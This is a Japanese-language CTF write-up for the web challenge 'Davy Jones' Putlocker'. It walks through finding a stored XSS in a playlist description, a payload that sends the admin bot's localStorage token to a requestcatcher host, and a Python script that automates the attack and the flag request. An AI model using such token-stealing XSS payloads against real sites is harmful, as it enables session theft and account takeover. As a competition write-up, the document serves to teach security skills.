[web] Davy Jones' Putlocker
URLを報告する部分があるのでXSSとかCSRFを引き起こす必要がありそう。
ログインした後に指定ページを開いてくれる。
フラグは/graphql
のmutationでflagを呼び出せばいい。
管理者権限の認証情報があればフラグが出てくる。
なので、とりあえず管理者のtokenを抜き出してくることを考えよう。
クライアントサイドはReactで書かれているので色々grepしてみると、dangerouslySetInnerHTMLが使われている部分がある。
ここはHTMLが生で出力されるが、/packages/server/src/renderHtml.mts
にあるように
micromarkというmarkdown2htmlのレンダラーの出力結果が渡されるようである。
だが、よくよく見ると、playlistのdescriptionはそういった処理が嚙んでいないように見え、そのままHTMLが出力されていそうである。
つまり、XSSが可能そう。
試してみよう。
Create Playlistでdescriptionに<img src="x" onerror="alert(1)">
を入れて、
/user/3b432966-7dd4-451d-aedb-e8eaf4d27a15
みたいにuserのページを開くとアラートが上がってきた。
<img src=x onerror="fetch(`https://yours.requestcatcher.com/test`,{method:`POST`,body:`${localStorage.token}`})">
みたいな感じで送って、報告すればtokenが得られる。
時間制限が割と厳しいので大部分を以下のように自動化した。
import requests import random import string def get_random_string(length): return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) host = 'http://[yours].dubs.putlocker.chal.pwni.ng:20002' username = get_random_string(10) password = get_random_string(10) def send_graphql(op_name, query, token=None): sent_json = { "operationName":op_name, "variables":{}, "query":query } headers = {} if token is None else {'authorization': token} return requests.post(f'{host}/graphql', json=sent_json, headers=headers).json() token = send_graphql("Register", "mutation Register { register(name: \""+username+"\", password: \"" + password + "\")}")['data']['register'] print(token) playlist_id = send_graphql("CreatePlaylist", "mutation CreatePlaylist { createPlaylist( name: \"attack!\" description: \"<img src=x onerror=\\\"fetch(`https://yours.requestcatcher.com/test`,{method:`POST`,body:`${localStorage.token}`})\\\">\" ) { id __typename }}", token) playlist_id = playlist_id['data']['createPlaylist']['id'] print(playlist_id) user_id = send_graphql("PlaylistQuery", "query PlaylistQuery {\n playlist(id: \"" + playlist_id + "\") {\n id\n name\n description\n episodes {\n id\n name\n __typename\n }\n owner {\n id\n name\n __typename\n }\n __typename\n }\n}", token) user_id = user_id['data']['playlist']['owner']['id'] sent_url = host + '/user/' + user_id print(sent_url) send_graphql("Report", "mutation Report {\n report(\n url: \"" + sent_url + "\"\n )\n}", token) admin_token = input('Enter admin_token: ') print(send_graphql("Flag", "mutation Flag {\n flag}", admin_token))